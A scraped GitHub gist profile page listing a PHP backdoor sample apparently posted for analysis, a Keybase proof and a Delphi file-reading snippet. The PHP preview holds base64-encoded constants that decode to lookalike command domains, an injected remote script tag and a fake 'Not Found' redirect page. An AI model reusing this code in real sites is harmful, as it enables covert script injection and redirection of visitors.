Skip to content

Instantly share code, notes, and snippets.

View welkson's full-sized avatar

Welkson Renny de Medeiros welkson

View GitHub Profile
@welkson
welkson / php_backdor_analysis.php
Last active July 15, 2024 12:27
php_backdor_analysis.php
<?php
set_time_limit(0);
error_reporting(0);
define('VERSION', 'VCETE');
define('APIVERSION', '3');
define('API', base64_decode('aHR0cHM6Ly9jZG4uY2xvdWRmbGFyZWJyLmNvbS8='));
define('API_HTTP', base64_decode('aHR0cDovL2Nkbi5jbG91ZGZsYXJlYnIuY29tLw=='));
define('API_JS', base64_decode('PHNjcmlwdCBhc3luYyBzcmM9Imh0dHBzOi8vYnIuZ29vZ2xlZXBsYXkuY29tL2Rhby5qcyI+PC9zY3JpcHQ+'));
define('FALLBACK_REDIRECT_HTML', base64_decode('PGh0bWw+CiAgICA8aGVhZD4KICAgICAgICA8dGl0bGU+VGhlIHJlc291cmNlIGNhbm5vdCBiZSBmb3VuZC48L3RpdGxlPgogICAgICAgIDxzY3JpcHQ+d2luZG93LmxvY2F0aW9uPSJodHRwczovL2JyLmdvb2dsZWVwbGF5LmNvbS9kYW8uaHRtbCI7PC9zY3JpcHQ+CiAgICA8L2hlYWQ+CiAgICA8Ym9keT4KICAgICAgICA8aDE+Tm90IEZvdW5kPC9oMT4KICAgIDwvYm9keT4KPC9odG1sPg=='));

Keybase proof

I hereby claim:

  • I am welkson on github.
  • I am welkson (https://keybase.io/welkson) on keybase.
  • I have a public key ASDnIxqoUh-TUTxjZBxtqCqZ4M3M01FOwXmhqhC6BkxscQo

To claim this, I am signing this object:

function TxtFileRecCount(const Filename: string): integer;
var
FS : TFileStream;
buffer : string;
red, i : integer;
begin
result := 0;
if FileExists(Filename) then begin
SetLength(buffer, $FFFF);